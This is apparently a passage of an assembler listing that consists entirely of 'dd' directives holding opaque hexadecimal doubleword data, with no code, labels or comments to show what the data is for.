		dd 0B31B55Ch, 0F8747F7Eh, 0E7087C94h, 0BA29420h, 0BA4582E6h
		dd 98B51802h, 8BC3D000h, 1BD7E84h, 69261E28h, 0D8BB0B7Ch
		dd 933B2C54h, 4C204A44h, 48479Bh, 9F684C9Dh, 4E46B718h
		dd 0CD32CF0Bh, 61738BBAh, 0C1D2CE18h, 8C73C090h, 67414F00h
		dd 0E338E198h, 0F186271Dh, 5C01AAC3h, 0D22FD0CDh, 0F32D4A42h
		dd 0A00D0874h, 1D418251h, 2CE34836h, 0D28B301Eh, 245B5588h
		dd 91C960E8h, 7100617Fh, 0D120A15Ah, 773BF66Ah,	0C13D0454h
		dd 0FE6C1F17h, 0E8DCBC21h
		dd 6864F412h, 93667338h, 0F805391Ah, 92C06A4Dh,	3D186CF6h
		dd 63B149E7h, 3CDA86A9h, 78B09364h, 0F8C48BA3h,	4A9680B4h
		dd 0EC933A8h, 4C21422h,	90ADD9C8h, 16BA8950h, 0B17114B3h
		dd 0ACA8C4B0h, 2A3D907h, 0FE548296h, 5B1034B2h,	8087888Fh
		dd 8A15709Fh, 5800CC45h, 0E3B4797Eh, 3D7A9DBh, 0BEBF40EBh
		dd 7100C0F7h, 2932D435h, 7156BF5h, 6F7B8055h, 933B4316h
		dd 713001C1h, 0F4983E84h, 8CF75E61h, 0AC1C87C4h, 578103EEh
		dd 0CEA61E64h, 259995F8h, 90592629h, 0C9B2E101h, 1EF4A58Ch
		dd 92580085h, 9EFE775Dh, 749088F8h, 0C026C90h, 7CA4185Fh
		dd 0D1586226h, 370B0AE8h, 1DA9138Ch, 474A0FEDh,	0D08143ABh
		dd 2E287C49h, 769FBC8Ch, 0D48100CBh, 51E5A718h,	0AB390164h
		dd 21590283h, 539FA29Eh, 0FFDE08E8h, 0C204A0A7h, 9A355Bh
		dd 5F48AC7Ah, 684D6B78h, 0B5F5B800h, 0BD23575Dh, 87BE25BBh
		dd 3E8218FBh, 517C2DFDh, 0F73000FCh, 926A4B20h,	4E164000h
		dd 0A9CF6CC1h, 6F7F1221h, 0F0B22Ah, 92E4BBB5h, 486AC7h
		dd 4AA3292Ch, 0B2D58B16h, 4B55EF3Bh, 859F74D1h,	0E8BE7987h
		dd 888AD3EAh, 0A178CA90h, 4637B000h, 68587CF0h,	87189125h
		dd 807403FFh, 507F4305h, 0AC1D9E00h, 0FEB38E98h, 0D3380925h
		dd 2C446C20h, 93C2E01Fh, 49C3B040h, 170AE1Eh, 0EE316A2Ah
		dd 78B63E32h, 0E430D65Ch, 2FA35ACh, 0C75B08E3h,	54F2DBE8h
		dd 1DC5B720h, 80CF737Fh, 9D104B22h, 34492DC2h, 30574C84h
		dd 48DF295Ah, 980F5CC4h, 0D1E05104h, 8C1CC85Fh,	11E028FFh
		dd 0D00D034h, 0EA6E3D07h, 0AF025872h, 0E28774EFh, 4000D61Ah
		dd 4D3F3C51h, 93CA8400h, 0A4DB31A0h, 0ECC00E5h,	0D286A324h
		dd 0CCB5C8EEh, 0A8F0D4h, 453C882Ah, 8C51905h, 0D2ED0C1Eh
		dd 0F256318Bh, 7D7B21D4h, 48875190h, 0A37CD4C3h, 76B32298h
		dd 24A3B5E1h, 0A7D59Ch,	145BD272h, 65854900h, 0BFFA2E8Dh
		dd 15A4A9D3h, 0C4743Fh,	6ED557F4h, 0E100AD50h, 128C61B1h
		dd 263F5C14h, 0C480FD1Dh, 33F0827Fh, 54008CFAh,	0A91E051Ch
		dd 9444980h, 0AEA17F70h, 28596807h, 0EB908605h,	98903C13h
		dd 1B6B511h, 0DD1CB783h, 0E8486C46h, 921E0B15h,	161D8295h
		dd 2C09EAD2h, 0E29041E6h, 55027428h, 5C1024D2h,	0C9C0B8DEh
		dd 2E78DBBh, 2090D6E3h,	9850E8AAh, 0F8D9DD0Bh, 0ECEEAEh
		dd 249B90E4h, 0CF2F4DC0h, 17A15B4Ch, 0C4C8E312h, 0D07E1CF8h
		dd 2B168061h, 0DD801BBCh, 59ACA100h, 108AC23Eh,	7C810E55h
		dd 2EC749BEh, 14C0CEA4h, 386A74E6h, 861AC0BAh, 0E679E4D7h
		dd 6FD300ACh, 2823FB24h, 5D0F4C21h, 0C1E6DA3Dh,	44A6086Dh
		dd 605B3870h, 0D79331B2h, 4099A41Ah, 7F4E9080h,	1CF2E3h
		dd 0BB92EEF1h, 0A0E1DD37h, 0D7D15F02h, 851A828Ah, 50ACD844h
		dd 894611A0h, 0FAB64D0Bh, 7CDD0155h, 0DA20C439h, 0AD2003FFh
		dd 0AAF4C8A5h, 7CB3314Eh, 2E51F21Ch, 7CF03E2h, 0A04CD43Ah
		dd 19F4C0B8h, 705AD0h, 0C316BD20h, 5CFD4F5Dh, 0A3D2C19h
		dd 0D4203799h, 27785E45h, 7C8F48CCh, 0DBC0616Ch, 1832F9D9h
		dd 0EA71BE0Ch, 1D2D296Ch, 86548235h, 487056DBh,	329254h
		dd 0B5F74DFAh, 4F008ABDh, 7BB802DCh, 0D3175853h, 0CB1000D9h
		dd 0B5B17D22h, 750090A6h, 0F65CB4C0h, 3D76ADC3h, 0B280231Ah
		dd 0A7E9407Fh, 0A5587DA2h, 0D7CC0730h, 0B615105Dh, 0B5AAB280h
		dd 46C0C01Ch, 5B327B88h, 27E9DC4Ch, 5E540B3Fh, 50084178h
		dd 0D16F60D9h, 4DF2061Fh, 2F7D7181h, 0D3F6891Eh, 20E0B0C0h
		dd 0ACB981FFh, 47170602h, 0D5486032h, 988B8AD3h, 0AC688474h
		dd 91FE6F60h, 3DE8B682h, 0D1444001h, 2ABCA2A5h,	0CDDCF804h
		dd 0D800F8E3h, 0C50714E3h, 0E3A07C32h, 9900B61Ch, 0F24D2044h
		dd 1D9EB5D7h, 0E7BE37A3h, 7D01D77Ch, 7CBAAF4Bh,	0C96E47F1h
		dd 0E489D58Ch, 0E4755AD8h, 282C4112h, 0E50888h,	37622FE1h
		dd 0BEC0ABE8h, 83656C00h, 0C543A0EEh, 169098F0h, 0A22E7E38h
		dd 0A29001FCh, 0E82860B4h, 0DAD46721h, 23352726h, 0E885CF3h
		dd 807F9C9Eh, 0D9230CD6h, 6BFFEECEh, 3EEC6CCDh,	3F8000C4h
		dd 57FD2544h, 0A83CCFF9h, 779D0083h, 7ED1D7CEh,	4E6909ADh
		dd 38820E13h, 0A0FC5401h, 0C2BACF58h, 81F6E219h, 0FE6CCCA1h
		dd 0FF47353h, 6B5A82E6h, 40DC5C49h, 71192376h, 0BB8AAA00h
		dd 0A39C2113h, 4A3D01E4h, 9D333593h, 80F839C3h,	7542BBA9h
		dd 0DDEF0044h, 5B9B77BEh, 939FA416h, 3B729850h,	0F19648B3h
		dd 0E6EAF700h, 0A20AFD33h, 0D2BE8361h, 207BB942h, 142192ECh
		dd 940A3A72h, 7057ED35h, 0EE57969Dh, 0AE00CCE3h, 11DDC7F4h
		dd 5A04CE4Eh, 8203C510h, 8888D384h, 0A834420h, 72FB1D05h
		dd 0F9C0DC38h, 0A5F57Bh, 4B141810h, 25B6C002h, 8FD2BE1Ch
		dd 4953D428h, 81DC22B4h, 500859C0h, 155B10E9h, 0D486805Ch
		dd 76C0149Dh, 7AE10067h, 0E9241E01h, 0FD7F3D98h, 0C22285Ah
		dd 0C00A248Ch, 0C242B8E2h, 3050DE00h, 90CAB2E0h, 0CB1507F3h
		dd 0A33153h, 0E772F805h, 69875804h, 88CEFC6h, 318C160Bh
		dd 840C32C7h, 3BFE0A20h, 6AB10030h, 0F5E27462h,	491C4433h
		dd 0C7005CB5h, 0EC777C65h, 642D4853h, 0F581E501h, 2258ED36h
		dd 0BF430024h, 4278233Ah, 885B5F50h, 0B512B98Ch, 4302826h
		dd 7C21BAh, 71D29FC2h, 5F68E7A7h, 5CD6D709h, 8BB480ACh
		dd 97C334D1h, 0DF4458C0h, 0C4383714h, 0EAB7C0A0h, 0D50483h
		dd 0AD4D1D96h, 6E9EF3C0h, 0E5982C69h, 760A3808h, 9ACE66h
		dd 0AD3D2F9h, 8D3D9CC4h, 7A5A18D7h, 5554629h, 8C2B4890h
		dd 0C42CF91Ah, 2C11B9EEh, 3936321Fh, 1D13A400h,	0FA9ABEE7h
		dd 58A03E4Ah, 0BD153A3Ah, 4E622204h, 0B009EBD5h, 0AF84A087h
		dd 9E6D6C9h, 0C1CC7743h, 10277CDCh, 72FBE94h, 7195D1A2h
		dd 9ED6E003h, 0A17DB214h, 26C61D1Fh, 0AE98AF40h, 1F5C77FBh
		dd 401E547Ah, 1908C8A0h, 9C004244h, 8FF02B45h, 18B9047Fh
		dd 40A0839Bh, 8E007ABFh, 0B17CA822h, 0C094032Eh, 23F59F18h
		dd 28C69EB4h, 318114h, 36C119C6h, 7A0AAC4Bh, 1E289B62h
		dd 0C24079Fh, 0D9312EFCh, 74DB4993h, 42A00881h,	0F4E2F37Dh
		dd 5C982672h, 62158900h, 1F64BF9Bh, 0C0330612h,	79B16F91h
		dd 0E968DB1Eh, 3EBC7Eh,	71C3497Fh, 0FE03BF15h, 1F2E14A2h
		dd 82858FEh, 16250044h,	0CE7DEA60h, 850E0B34h, 0C587F715h
		dd 0DF0A91D6h, 9A86A084h, 30A1757Ch, 2679B06Fh,	0A80F5E43h
		dd 80AC150Ah, 5AE84612h, 4C00079h, 92A7D9Eh, 7F00C13Ah
		dd 577C874Bh, 0A4B924F6h, 0B1804498h, 21A40700h, 2EE4C97Ah
		dd 14B9E09Fh, 3CDC3E66h, 0DA370101h, 0F87327A8h, 71009167h
		dd 8A5EAEB1h, 3DF49Dh, 0FF01BF95h, 70D003F8h, 0BD815500h
		dd 728496D2h, 332EF041h, 9E518B7Bh, 0E1781BBBh,	61270238h
		dd 0EC1E8724h, 408CE761h, 7731B1DBh, 5398F600h,	7A2E1789h
		dd 7D24A08Fh, 430901BFh, 87FA5104h, 0EF74C030h,	0F815238h
		dd 0C15A34D3h, 0D9BF6E29h, 0E6D71C40h, 8C45076Fh, 656826DBh
		dd 0C28C40AFh, 69D1FC1Ch, 962DB90Fh, 9D24E0E0h,	0C6403Ah
		dd 1CC7C5Ch, 209AE614h,	64890A4h, 77708008h, 674753h, 9BB32C32h
		dd 8FDC1AD9h, 0B0004E8h, 0A8453439h, 0ACC53B8h,	97367D37h
		dd 0B5CA8084h, 0DF6BC4A5h, 0A0DD5A00h, 50892508h, 0FAFC77h
		dd 0E69D205Ch, 297ED91Eh, 30887C22h, 4A81B606h,	0D5E84333h
		dd 1C0EEE01h
		dd 0FF6BF84h, 48087045h, 1B3142A3h, 14F1E20h, 18FB003Dh
		dd 15974C7Eh, 830184AFh, 16247827h, 0C0201BABh,	0C0A04517h
		dd 4248123Eh, 0DF6603D8h, 0B36FF5h, 3C57B569h, 7AFD2CA5h
		dd 0C3F9E700h, 0BF030D26h, 0F7B60E0Ah, 27A19E52h, 226F57A8h
		dd 0B5F1074Ch, 958287F6h, 0B428A1B3h, 0C1E46AD9h, 169D0F2Eh
		dd 5C40107Fh, 0E5A25021h, 99961533h, 0F49CC028h, 33611ECFh
		dd 76D04934h, 1AF52802h, 438BE26h, 275BD604h, 0EA488054h
		dd 882C3DC9h, 0F420D965h, 0D89106F0h, 0DF1F8300h, 2838F5C4h
		dd 0FEC0D3A3h, 90E4E8FCh, 6C8300A6h, 0CEFD2703h, 41C08418h
		dd 6673A10Dh, 2FB70746h, 0B2243001h, 0BC913EF6h, 4885607Ch
		dd 1DFF712h, 9182FC0Fh,	9D030D3Dh, 4F3C8818h, 0FD210498h
		dd 0A6232918h, 979EC9h,	342E8DE4h, 7D5C0419h, 297E60F7h
		dd 0BF28A875h, 0B914A0CDh, 3E2C9AAEh, 1841EC7Bh, 0C67C889Eh
		dd 0AA1F2909h, 0A32C10DCh, 0A4760031h, 71C0CBC1h, 0E90A30E3h
		dd 0AC35E71Eh, 308C22C4h, 1A228608h, 0C525121Eh, 6FE820DCh
		dd 0D009FD1Bh, 99F3CF89h, 0A5F8F534h, 0B46070Ah, 0E0641B55h
		dd 0AFB9F78Dh, 21686C01h, 76752E66h, 2B2443h, 0DA317D61h
		dd 0E3D37CD9h, 4712400h, 764C5554h, 0A6F80015h,	0AFE55311h
		dd 0A1C6921Dh, 149B9DBh, 0FD0C13EDh, 0FC5A231Ah, 840049F8h
		dd 0FBD16BEBh, 541434C9h, 726949Bh, 4F420C01h, 9347A0DCh
		dd 8C26E104h, 2E426836h, 0DAC0F527h, 2335B759h,	861F196Dh
		dd 801642C0h, 9040892Fh, 69150056h, 0F78335E8h,	3800D2E5h
		dd 29329EC9h, 0C71C0BF6h, 0C7122EE1h, 1857C687h, 379EB322h
		dd 61A71Eh, 0CB301587h,	5041E4A2h, 34B910A6h, 0BFC1C09Dh
		dd 506B9504h, 44D7CE2Ch, 0A46CE70Ah, 775C2F41h,	78ABB0DFh
		dd 65BC0035h, 31170A70h, 43001595h, 7D5DD73Ah, 6713B1Eh
		dd 6F01C77Ch, 1C0091B7h, 660A49D3h, 7A8780C8h, 0B9520EFAh
		dd 1322A5Eh, 0E0EB9490h, 0FEEC6083h, 0E116220Ah, 5C00206Ch
		dd 7B853389h, 0B470530h, 177F3Ah, 8EC653A4h, 2898A129h
		dd 20142609h, 30C8294Eh, 0C5973Ch, 3D6AD421h, 526A406h
		dd 103A0C09h, 23C402A1h, 0B98A0F6h, 15C09BAh, 9AABFD49h
		dd 0C8935319h, 776FBDE7h, 0EF4A860h, 0A80435D2h, 0C178848Fh
		dd 509C3190h, 0A0150A8h, 0D91C3605h, 1AC4C891h,	44E6B8C2h
		dd 70DB4808h, 8B239480h, 0C61C3DACh, 7FC0206Fh,	0C1E03C50h
		dd 0E9700E7Eh, 0A6E395A4h, 40B6B639h, 49F92030h, 74DDE5D6h
		dd 0C5280F14h, 0AC0E36Eh, 87B119B0h, 89592700h,	0A61C5FCEh
		dd 0A197612Fh, 84A4779Ah, 377C9E81h, 0A68088h, 1E31817Eh
		dd 0C4EFC302h, 0D0E5DA00h, 928E50D1h, 304B1CBDh, 0AFF0853Eh
		dd 2CB404F6h, 7842019Fh, 0B0D83BF5h, 0D847266Eh, 48F100BBh
		dd 155E69A8h, 23780800h, 0B11AB78Eh, 14A6F27Dh,	0E4BFAD61h
		dd 0E5CED848h, 3F86E840h, 491D6EFAh, 798002ADh,	0D6784A8h
		dd 538F012Eh, 0B4D9A6B1h, 261883A3h, 0A681F259h, 0D8940328h
		dd 862A6E1Fh, 8AC23087h, 4A7B38ADh, 0DFC74811h,	0D5EEB500h
		dd 0C834E297h, 144CE903h, 26D9C195h, 3B421h, 581B6C4Dh
		dd 5A03EFABh, 8382317Bh, 263CD04Ah, 499DF89h, 6CB355h
		dd 1BCBA1D3h, 0B954615Bh, 0BCAC7006h, 65B800A8h, 4CBEE58Ch
		dd 0F4FA01F5h, 0F22AEFDAh, 0A479807Ah, 3A0D70E6h, 0F03CE06Ch
		dd 0E8160088h, 7E85302Fh, 590774D5h, 0A908EB2Ch, 78AA86A0h
		dd 9767159Fh, 0F1008887h, 45F33DB0h, 5F985066h,	67A70F00h
		dd 2D380B37h, 2CC20078h, 0C4260A1Ch, 1A03AF96h,	0AB6B5607h
		dd 0F38FC0C3h, 0CD18CF8Dh, 0DA6A3880h, 9F00D824h, 0A7F11C41h
		dd 11A132Dh, 775501F4h,	879251C0h, 0BD20EE31h, 74A6484Ch
		dd 8D8083D0h, 6B07AA5Eh, 5F8225CFh, 0FF4257C0h,	0E7F60624h
		dd 40A0C8C7h, 0E90309F8h, 12B23C2Dh, 0B085BBF9h, 66E0F40h
		dd 24EEC944h, 0B70361B0h, 4B9E03D4h, 6DC91E80h,	0D5A78C34h
		dd 163BB679h, 266E8192h, 6B9EDE36h, 46BAF0h, 548FB283h
		dd 20F09FDAh, 0BF152100h, 0A7966391h, 3451C00Fh, 38C9A523h
		dd 0CB119900h, 0DAACE576h, 2FF9063Eh, 0F9C853C0h, 30132100h
		dd 0B8D840EFh, 2940C03Fh, 6CBDB51h, 0EBD5400h, 3635D07Dh
		dd 0C0CE1C37h, 0C44D882Eh, 0B4064080h, 0FC5383h, 191B688Fh
		dd 0D641A06Dh, 0C657EA01h, 0D34B29C9h, 7EFECCE0h, 7DF0CBh
		dd 0BB44B8B1h, 54C1B268h, 2E2AD400h, 0DADDD6B9h, 1D3A01E0h
		dd 0C9AEB0A8h, 0D12BC07Ch, 587C9477h, 19B4F030h, 38F41F66h
		dd 0D58041FBh, 0FDF2B44h, 0E10F4AC2h, 4020B20Eh, 61D38EDCh
		dd 0F8DAA39Eh, 0FCF5DD1h, 0D2D0EED7h, 1BCE2180h, 0F3061910h
		dd 0DEF18EB8h, 6E3E0C10h, 23303501h, 16BC0440h,	0EF6B4D8Eh
		dd 6011880Fh, 8B12F035h, 1153606Dh, 96C53466h, 0A586D101h
		dd 988F0709h, 2180C3D1h, 0BBC53C93h, 0EB3B17DEh, 0FE4900EAh
		dd 5CA188C2h, 0D559CF09h, 5E8C5240h, 0F733AD94h, 3DBF0965h
		dd 5200F521h, 47CA5D4Fh, 19C1E32Fh, 91C42765h, 30CE6E0h
		dd 5CB192ACh, 0C0042CCFh, 702D3F04h, 0CEFC8901h, 0B1188002h
		dd 675F8D34h, 4010DED4h, 9E1C5B74h, 5C00D5DDh, 0D1C969FEh
		dd 7D42510Ch, 169B1C84h, 26C047A2h, 28B80046h, 92004811h
		dd 18A6D5A1h, 334BBA9Bh, 0EA08B331h, 98F12100h,	92AE4D5h
		dd 7B41488Eh, 5DAD1Dh, 0AE0884AFh, 860719D0h, 4CDE98B2h
		dd 68384Ch, 232FE92Ah, 0CB1A53F3h, 3008ED66h, 2880321h
		dd 0C1121DE9h, 4620EAD0h, 0C017DD00h, 839CEFB0h, 0AC58C1BEh
		dd 4B1126E6h, 0C73D8830h, 0BA2130A2h, 7303549Ch, 0FAA4D4F5h
		dd 28D86E75h, 27625D00h, 80639B2Ah, 0C84F8270h,	6D55A0h
		dd 0B0BFB74Dh, 3A7D16CAh, 88397360h, 32C08F1h, 0AE6C93AFh
		dd 8305BA9h, 496F2160h,	97650109h, 900FE6B8h, 0B9508816h
		dd 0D7DB00EDh, 6BE76304h, 0EE001CF4h, 0FD47731Ah, 97E1E8h
		dd 89481631h, 391EDE34h, 0C0004CB0h, 6D2FEFD5h,	0AEAC13h
		dd 5F2A08A1h, 0DDB73315h, 0A7E24600h, 300198C1h, 41536096h
		dd 0C404F5CDh, 838C1E38h, 7CB9C9DFh, 26E88855h,	622D30E2h
		dd 67B24628h, 17204917h, 0A37FF03h, 93598F1h, 0D5B00078h
		dd 0B96615CBh, 92071760h, 0E3FC853Ah, 4E649BC0h, 9748069Ah
		dd 183B01F8h, 18E7D73Ch, 0FB908CF4h, 0FE8B0346h, 350FA031h
		dd 8A897007h, 3A8765F6h, 2DE51240h, 6B900F7h, 0A555634h
		dd 136062F2h, 0A1C57518h, 97053CB4h, 0A00BE900h, 900ACDE6h
		dd 8048BAF7h, 0AA1B1441h, 449FB8h, 0F9EEF3Ch, 3C18EA0h
		dd 4D266700h, 0E2930536h, 7ECA1CB9h, 5C3E804Eh,	0E91AD148h
		dd 0F3AC2600h, 0C70F2710h, 0C87800C0h, 0FBF29BA1h, 78B8A4C2h
		dd 0DDD78D07h, 4CD73F10h, 846BCCC0h, 0C0C637A6h, 0ECEFC070h
		dd 2651FE10h, 0AE76D808h, 0E44DCD00h, 791FEBA5h, 0C197E8A3h
		dd 0ACDFE521h, 248946BDh, 17AE3300h, 0F3429828h, 3E79C00Ch
		dd 51133D2Ah, 9A10FF61h, 408F0D47h, 0F080E89Eh,	8E72C8B9h
		dd 0AFF5C8C0h, 7B27EB66h, 0B2DF0039h, 7E43C9A2h, 0D07F7B29h
		dd 47803Bh, 744C1246h, 768AC61h, 91DC5783h, 8541735Ah
		dd 81B3E0CFh, 0A7002BF5h, 75BA0B0h, 794A606Ch, 2F8206B9h
		dd 10636169h, 0F0045F53h, 0C08ACF8Fh, 520B8110h, 2813E71Dh
		dd 0F5001090h, 0D0C93C2Bh, 2E8E01F7h, 81A21C3Ah, 0FC1441BCh
		dd 8FCA000Fh, 0E0680088h
		dd 0C070B6E4h, 0DE0079F2h, 0D42977BCh, 1F430F8Ch, 164FA7Ah
		dd 2A65AA3Eh, 440930B0h, 3AF3F900h, 2B82504Bh, 813E03FAh
		dd 0C662C74Fh, 5539F6C0h, 6800A4F0h, 0DCE0BF84h, 75FA0DFh
		dd 0A8771C40h, 2516306Eh, 1D752F24h, 6071561Ch,	9C1132C0h
		dd 0DB87EAh, 39BD153h, 0F4BB8EA2h, 0A45FCC18h, 3E78F711h
		dd 0AC011C9Ah, 621A2DB9h, 0D2904051h, 36E4434Ah, 37A3A200h
		dd 3BC086D4h, 9A023946h, 83666B00h, 0B3A9E538h,	9B00777Ch
		dd 3C228071h, 3E9A984Dh, 7400FC36h, 97317B68h, 855CAA5Fh
		dd 20171F32h, 42797040h, 0D1C225h, 0C74EE988h, 24F5BCF6h
		dd 5C047200h, 89C84D4Fh, 13580014h, 366553Dh, 0A2031D2Dh
		dd 0FDED4572h, 0E83188A8h, 0B85460CBh, 0BFF067E2h, 0DEACD803h
		dd 0D01419C7h, 123943Dh, 2AA22612h, 0C0D332ABh,	91009CD1h
		dd 9D534219h, 76515D6Dh, 2863009Bh, 97620365h, 0C8A839E8h
		dd 3B0B9CE3h, 60F781Ah,	196C17h, 3C8743E6h, 10A78E68h
		dd 5D724900h, 61BE7FE0h, 56980269h, 0E6B52230h,	99AB8940h
		dd 82DBAD01h, 0C7E16ADDh, 0F64997h, 79D713A9h, 960A056Ch
		dd 0C80EBAD9h, 0F8C3E680h, 389D347Bh, 0D08085ABh, 0F2D62AC4h
		dd 0A800E1A5h, 57D3D27Ah, 2B3D21h, 0AE9598E4h, 23DA15BAh
		dd 0F840500h, 0D6A56FAh, 0EDD71829h, 31BF78C4h,	7819B700h
		dd 0E29D2430h, 32530003h, 0E14867Fh, 0D20729DFh, 169586Eh
		dd 66B780F9h, 60C2AB8Bh, 55A111A6h, 300A2BCh, 0F610BA5Ch
		dd 16ABACh, 1BCAE545h, 0D87602D0h, 9E309400h, 187F0FFh
		dd 0C65307B8h, 0E1134899h, 0C8022390h, 0EC927F30h, 8F8B3700h
		dd 80702A9Bh, 66D70035h, 0D178328Ah, 0F800A3E7h, 2839C1B2h
		dd 77733EAh, 0A6A17FB3h, 0ABB89171h, 0A812F85Fh, 0BA8BFA02h
		dd 60F366C1h, 49720h, 2EB8696Eh, 0FDB96292h, 73453Ah, 0E1B23139h
		dd 0A644ABh, 7B8036ECh,	0A293198Ah, 0E6EDE400h,	70DE47F2h
		dd 0F92C0FCCh, 60ECEE64h, 730180B0h, 0D1F12FC6h, 50804BA2h
		dd 9DB32C48h, 0B878FED3h, 35D58000h, 58A243C5h,	7CB7265Dh
		dd 0BD0D8048h, 34F1E802h, 381C2EE8h, 6CC05B46h,	35958F22h
		dd 0E4C0043h, 2A41ED5Ah, 9D002328h, 24C05ED1h, 71D6505h
		dd 4885F1AFh, 5058D708h, 0E455C688h, 0A4DA7200h, 51980F02h
		dd 0D9D70097h, 23FB6908h, 2B0FF98Fh, 6ADBCCC9h,	0EC0099B0h
		dd 8754F6A9h, 15403EEBh, 0BA7F478Ch, 0C100DAA8h, 5D9F3A80h
		dd 0F9662Ah, 0EAB5920Eh, 1A460313h, 95EC2D00h, 0E9B7DACDh
		dd 0AEA501EBh, 0E311F0B6h, 46B8CB08h, 80B090D7h, 0EBDCFC01h
		dd 0B277F7E8h, 5FA2CD40h, 15BF142Bh, 570BF0F5h,	0C700E36Ah
		dd 95313C77h, 737B2F00h, 0B3BB03Dh, 515F6E96h, 113C34Fh
		dd 5667859Bh, 83202031h, 3B2939h, 6032282Dh, 13F47CD9h
		dd 3CF12C3h, 1985A06Ah,	9835BBA0h, 133FC171h, 72068008h
		dd 0D93F333Ch, 26F80059h, 2DE7D655h, 92178C49h,	9B00F395h
		dd 0B001D929h, 7760060h, 0AFD39E97h, 4E1D8906h,	3F40046Dh
		dd 1C97C9Fh, 78600066h,	12CACFDCh, 85000CA2h, 0ECE23F0Eh
		dd 0DF9749h, 5AD3BF51h,	98A81CDCh, 1F92A006h, 20EA62h
		dd 0E3A9FFF5h, 0AB79B33Fh, 0EFC56500h, 0FDC16146h, 6660E1Bh
		dd 4060C473h, 0D2EC1778h, 2ABF9A03h, 0E9508560h, 9EFC958Bh
		dd 0CC230B7Ah, 4001630h, 93F6CE3Ch, 9061332Ch, 7431DC13h
		dd 606C6D8h, 6C74BE00h,	3E18F6C1h, 8900068h, 2EE13867h
		dd 5590CE82h, 49733A00h, 0B74A75FDh, 8605006Dh,	8E02761Ah
		dd 8D079013h, 2D367C85h, 0B0233C23h, 6321EE9h, 0A7C3BDE2h
		dd 420EB222h, 0A059BB2Fh, 4B99A2C8h, 95E30079h,	0AF5116C0h
		dd 2400B691h, 801FA602h, 2641EEh, 0D0B93533h, 81387C98h
		dd 45993100h, 0FBBB8A68h, 7F7D00DCh, 0D6FC70ABh, 98030C58h
		dd 0C6551DE8h, 0E312D882h, 457E06h, 22F4AD27h, 0FDF1EE4Fh
		dd 0DE893Fh, 8372881Eh,	609EA624h, 7793807Eh, 5F2273Ah
		dd 47BAA500h, 0A811A18Fh, 6FFA0079h, 686E099Fh,	16002C59h
		dd 0CE745F17h, 3F398DDCh, 182E0593h, 2264009Eh,	16D2FAAFh
		dd 0BBBCAD01h, 236A29DAh, 0E4AB19FCh, 6CEB01C7h, 6FA76849h
		dd 0EA05CC90h, 97A44C03h, 7C93DCEEh, 70D7F70h, 0DE621D3Bh
		dd 477A77D2h, 749CB0D4h, 7C60A485h, 0FDC42928h,	709200C0h
		dd 6D72C146h, 0D100D5E3h, 0BF2A4E5Bh, 7D2CEA7h,	7C1EA41Dh
		dd 0CCC120B6h, 0E1FFA52h, 18027DBh, 0E66CDAEEh,	58B00012h
		dd 0AF33A681h, 9503157Eh, 2942C92h, 3621006Dh, 39DA6FDh
		dd 83F046AAh, 69005BF8h, 871590FAh, 1F70097Ah, 0FB93592Fh
		dd 0C466610Eh, 29A5C05Eh, 0F7DF6F3Eh, 0CF63AD03h, 0EA8E7688h
		dd 0EF1AE0C1h, 6E240092h, 7089B462h, 130147FDh,	275597C9h
		dd 6F41581h, 38EECD2h, 7DC2C76Ah, 0BEA8F776h, 0F100DB6Ch
		dd 8DD1EAB2h, 3CBD7016h, 0F40001FCh, 8B2BA3D2h,	673DA10Eh
		dd 909F94A5h, 0EEB20098h, 2C85D393h, 10BF009Dh,	0D5121689h
		dd 0FE00DF7Bh, 0EDADC419h, 394AAF6h, 0ACE2B676h, 0F9786E9Dh
		dd 0BF027E0Ch, 0A4121113h, 854A3088h, 54526810h, 3BAD2405h
		dd 0A001E405h, 26EBE121h, 76605BDDh, 69150CE8h,	0C129AD9Ch
		dd 0CA463D84h, 22848340h, 0CD428B0Fh, 21D1E611h, 0AB5908BFh
		dd 0B400C991h, 121057BBh, 9600AC41h, 0D2B13EBAh, 3489DBh
		dd 91334866h, 0E8F14FC8h, 0AB14EE03h, 0E35FDA80h, 0E581F8FBh
		dd 19E6008Fh, 1D5B1C0Eh, 2EF6B9FFh, 0D0AEBC00h,	731696Bh
		dd 0EF7E00D2h, 0E344D748h, 0AD031C70h, 0DB5B8872h, 4EAE8806h
		dd 0D98009Ah, 522DB146h, 9E3EC14Ch, 0D7158061h,	5003CC9Dh
		dd 85CA00FFh, 0BC8F3001h, 9B002A0Ch, 0D82C239Ah, 0E57D570h
		dd 0CED41BDCh, 0A4B6E40h, 0D0F58C9h, 7C03E9h, 3A1BE146h
		dd 233200E3h, 0EDFDD4D0h, 4E01CA04h, 0E0E4F8C5h, 0DC508B11h
		dd 13E8D25h, 0AB0901EFh, 0A40A48E8h, 80399568h,	8A465CBBh
		dd 9B77C8h, 3C97E9EAh, 0E16D5F78h, 57770198h, 85D9A800h
		dd 0EED0E6C0h, 6BE400F0h, 7BADECA1h, 68C0E54Ah,	0A730FE71h
		dd 29330FCCh, 81E0C617h, 59F04FA3h, 0A2F54900h,	44BA3205h
		dd 5CDD0056h, 0FFD9D2E0h, 533DC820h, 7325801Fh,	0F83805F0h
		dd 9AB70085h, 0F4C482CCh, 86904455h, 0A607B5EEh, 0AB7AC8C2h
		dd 0B0E7BA80h, 0A7750024h, 1362F04Bh, 6D052D74h, 0D8716B1Ah
		dd 4B4F103h, 0E157E8C8h, 5F980050h, 0B0D5533Eh,	0C000379Bh
		dd 714F2740h, 1448263Bh, 0BC8F992Ah, 1B3D6000h,	9D673C0h
		dd 52471F00h, 2C6C7664h, 6DDE06BBh, 21EE1CEDh, 9A01DD1Eh
		dd 35C3DA00h, 0F46F4021h, 4C1B77BBh, 79BC8Eh, 91604BD3h
		dd 0BD12D250h, 2713A200h, 96EF83BFh, 0F287002Fh, 48E3E90Ah
		dd 7B82DD3h, 0CCAF6412h, 76F60B00h, 3815AE1h, 0DF36826h
		dd 93E82EAAh, 0A200B486h, 8D1CEE43h, 9670B3h, 0FBA5E7E4h
		dd 109BCA25h, 0D2BC020Ah, 5400900Ch, 0E72126B7h, 0E5B0001Bh
		dd 7CD148F9h, 6226606Bh, 0FB1D19D9h, 0F7865D80h, 1FFA192Fh
		dd 4072D052h, 2267976Fh, 0CC00092Bh, 94440A87h,	0F22EE5B9h
		dd 0B1D84841h, 0F7020400h, 84117D3Bh, 0EF2C2F0Fh, 49502099h
		dd 0B1CEFAh, 5A9AE9BDh,	1E32038Fh, 0D2769E00h, 0F03EEA66h
		dd 5CF101AFh, 146DBA50h, 72C3F005h, 0AE0F3800h,	0D8555B6Ah
		dd 0BAE300CDh, 123EFC50h, 0A401644Eh, 51A33BABh, 5BF841B0h
		dd 0D05A0038h
